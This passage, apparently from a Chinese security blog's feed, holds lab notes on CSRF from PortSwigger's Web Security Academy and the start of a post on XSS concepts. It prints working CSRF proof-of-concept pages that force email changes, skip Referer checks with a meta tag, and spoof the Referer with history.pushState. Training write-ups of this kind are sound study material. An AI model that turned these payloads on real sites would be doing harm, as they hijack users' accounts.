&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;6
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;7
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;8
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-xml&#34; data-lang=&#34;xml&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nt&#34;&gt;&amp;lt;html&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;c&#34;&gt;&amp;lt;!-- CSRF PoC - generated by Burp Suite Professional --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nt&#34;&gt;&amp;lt;body&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nt&#34;&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    document.location = &amp;#34;https://0ada003e03bafa27810c1176007b00da.web-security-academy.net/post/comment/confirmation?postId=1/../../my-account/change-email?email=pwned%40web-security-academy.net%26submit=1&amp;#34;;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nt&#34;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nt&#34;&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nt&#34;&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;blockquote&gt;
&lt;p&gt;注意，为了保证参数的独立、有效性，需要对 &lt;code&gt;&amp;amp;&lt;/code&gt; 进行 URL 编码。后面的 submit 是附带的。将原本的 post 请求改为了等价的 get 请求。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h5 id=&#34;子域名--websocket&#34;&gt;子域名 + WebSocket
&lt;/h5&gt;&lt;p&gt;要先学一下 websocket…… 跳了&lt;/p&gt;
&lt;h4 id=&#34;referrer-绕过&#34;&gt;Referrer 绕过
&lt;/h4&gt;&lt;h5 id=&#34;检测遗漏&#34;&gt;检测遗漏
&lt;/h5&gt;&lt;p&gt;1.攻击点：抓更改邮箱的包&lt;/p&gt;
&lt;p&gt;2.测试：没有明显的限制，但是发现了有 Referer，更改了以后请求不被接受，删除了以后可以正常发包，绕过了。&lt;/p&gt;
&lt;p&gt;3.攻击：添加 meta 标签即可&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt; 1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 6
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 7
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 8
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 9
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;10
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;11
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;12
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;13
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;14
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;html&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;c&#34;&gt;&amp;lt;!-- CSRF PoC - generated by Burp Suite Professional --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;meta&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;name&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;referrer&amp;#34;&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;content&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;never&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;body&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;form&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;action&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;https://0ac000720470f4dc803b1c4600a90089.web-security-academy.net/my-account/change-email&amp;#34;&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;method&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;input&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;type&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;hidden&amp;#34;&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;name&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;email&amp;#34;&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;value&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;123&amp;amp;#64;qq&amp;amp;#46;com&amp;#34;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;input&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;type&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;submit&amp;#34;&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;value&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;Submit request&amp;#34;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;form&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;script&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;nx&#34;&gt;history&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;pushState&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;/&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;nb&#34;&gt;document&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;forms&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;].&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;submit&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;script&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;p&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;body&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;html&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h5 id=&#34;检测简陋&#34;&gt;检测简陋
&lt;/h5&gt;&lt;p&gt;1.攻击点：抓更新邮箱的包，发现 Referer，更改内容后无法过检测，但是在前面添加时可以的，推测只要存在原有域名就可以了。找到绕过点。&lt;/p&gt;
&lt;p&gt;2.测试：了解到js方法 &lt;code&gt;history.pushState(&amp;quot;&amp;quot;, &amp;quot;&amp;quot;, &amp;quot;/?0a0f00e8043675cc805ec1b20058002d.web-security-academy.net&amp;quot;)&lt;/code&gt;，HTML5 的 History API，用于修改浏览器地址栏 URL 而不触发页面刷新；能够用于构造带目标域名的查询字符串，进而控制 Referer 头内容。但是这样还是会被检测出来，需要再在请求头中添加 &lt;code&gt;Referrer-Policy: unsafe-url&lt;/code&gt;，否则浏览器会自动剥离 Referer 中的查询字符串。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;注意 Referrer-Policy 拼写是正确的&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;3.攻击：更改 js 代码，添加 history api。更改服务器的 Head。发包即可。&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt; 1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 6
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 7
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 8
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 9
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;10
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;11
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;12
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;13
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;html&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;c&#34;&gt;&amp;lt;!-- CSRF PoC - generated by Burp Suite Professional --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;body&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;form&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;action&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;https://0a0f00e8043675cc805ec1b20058002d.web-security-academy.net/my-account/change-email&amp;#34;&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;method&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;input&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;type&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;hidden&amp;#34;&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;name&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;email&amp;#34;&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;value&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;123654&amp;amp;#64;qq&amp;amp;#46;com&amp;#34;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;input&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;type&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;submit&amp;#34;&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;value&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;Submit request&amp;#34;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;form&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;script&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;nx&#34;&gt;history&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;pushState&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;/?0a0f00e8043675cc805ec1b20058002d.web-security-academy.net&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;nb&#34;&gt;document&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;forms&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;].&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;submit&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;script&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;p&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;body&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;html&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description>
        </item>
        <item>
        <title>Burp靶场：XSS 跨站脚本注入（待完善）</title>
        <link>https://calendar0917.github.io/posts/burp%E9%9D%B6%E5%9C%BA-xss/</link>
        <pubDate>Sat, 22 Nov 2025 00:00:00 +0000</pubDate>
        
        <guid>https://calendar0917.github.io/posts/burp%E9%9D%B6%E5%9C%BA-xss/</guid>
        <description>&lt;h2 id=&#34;知识&#34;&gt;知识
&lt;/h2&gt;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://portswigger.net/web-security/cross-site-scripting/cheat-sheet&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;XSS速查表&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&#34;原理&#34;&gt;原理
&lt;/h3&gt;&lt;h2 id=&#34;&#34;&gt;
&lt;/h2&gt;&lt;p&gt;XSS（Cross-site scripting）就是网站的一个安全漏洞——攻击者能利用这个漏洞，搞乱用户和网站的正常交互。&lt;/p&gt;
&lt;p&gt;浏览器原本禁止不同网站之间随便访问对方的数据（比如打开淘宝，淘宝不能直接读取你微信的数据），这就是&lt;strong&gt;同源策略&lt;/strong&gt;。但XSS能绕开这个规则。&lt;/p&gt;
&lt;p&gt;一旦网站有XSS漏洞，攻击者就能伪装成受害用户，干用户能做的所有事（比如发消息、转账），还能看用户的所有数据（比如个人信息、登录凭证）。如果这个用户是网站管理员（有最高权限），攻击者甚至能完全控制整个网站。&lt;/p&gt;
&lt;h2 id=&#34;&#34;&gt;
&lt;/h2&gt;&lt;p&gt;工作机制很简单：攻击者让有漏洞的网站，给用户返回一段恶意的JavaScript代码。等用户打开网站，这段代码就在用户的浏览器里自动执行了——这时候，用户和网站的交互就被攻击者完全操控了。&lt;/p&gt;
&lt;p&gt;XSS 攻击主要分 3 种：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;反射型 XSS&lt;/strong&gt;：恶意代码藏在当前的 HTTP 请求里（比如搜索框输入、URL 参数里），网站没处理就直接返回，浏览器一执行就中招。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;存储型 XSS&lt;/strong&gt;：恶意代码会被网站存到数据库里（比如评论区、个人资料页），只要有人打开包含这段代码的页面，就会自动执行 —— 相当于把恶意代码留在网站上，谁来谁中招。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DOM 型 XSS&lt;/strong&gt;：这个漏洞不在网站服务器的代码里，而是在你浏览器端的代码（比如网页里的 JavaScript）里，是客户端自己处理数据时出的问题。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&#34;验证xss漏洞poc&#34;&gt;验证XSS漏洞（PoC）
&lt;/h3&gt;&lt;p&gt;想知道一个网站有没有XSS漏洞，最直接的办法就是“注入测试代码”：往网站的输入框（比如评论区、搜索框）里填一段JavaScript代码，看能不能让浏览器执行。&lt;/p&gt;
&lt;p&gt;以前大家都用&lt;code&gt;alert()&lt;/code&gt;函数做测试——这函数特别好用：代码就几个字、没危险，而且一旦执行成功，浏览器会弹出一个提示框，一眼就能看出来漏洞存在。大部分情况只要让模拟用户的浏览器弹出这个提示框，就算验证成功了。&lt;/p&gt;
&lt;p&gt;不过有个小坑：用Chrome浏览器的话，从92版本（2021年7月更新）开始，跨网站的iframe里不能用&lt;code&gt;alert()&lt;/code&gt;了。有些复杂的XSS攻击需要用到这种iframe，这时候就换个测试代码——用&lt;code&gt;print()&lt;/code&gt;函数就行（执行后会弹出打印页面，同样能验证漏洞）。&lt;/p&gt;
&lt;h3 id=&#34;反射型&#34;&gt;反射型
&lt;/h3&gt;&lt;p&gt;应用程序从HTTP请求中接收数据后，未经过安全处理便将其&lt;strong&gt;直接嵌入即时响应内容&lt;/strong&gt;中，导致恶意脚本被浏览器执行。其核心特征是恶意代码通过请求“反射”至响应结果，仅在单次请求-响应周期中生效，不涉及数据存储。&lt;/p&gt;
&lt;h4 id=&#34;示例&#34;&gt;示例
&lt;/h4&gt;&lt;h3 id=&#34;&#34;&gt;
&lt;/h3&gt;&lt;p&gt;假设某网站的搜索功能通过URL参数接收用户输入的关键词，例如用户搜索“gift”时，请求URL如下：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;https://insecure-website.com/search?term=gift
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;应用程序收到请求后，会将参数&lt;code&gt;term&lt;/code&gt;的值直接回显到响应页面中，返回的HTML内容为：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;p&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;您搜索的关键词：gift&lt;span class=&#34;p&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;p&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;此时数据仅作为正常文本展示，无安全风险。&lt;/p&gt;
&lt;h3 id=&#34;&#34;&gt;
&lt;/h3&gt;&lt;p&gt;当应用程序未对请求参数进行过滤、转义等安全处理时，攻击者可构造包含恶意JavaScript代码的URL：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;https://insecure-website.com/search?term=&amp;lt;script&amp;gt;/* 恶意代码逻辑 */&amp;lt;/script&amp;gt;
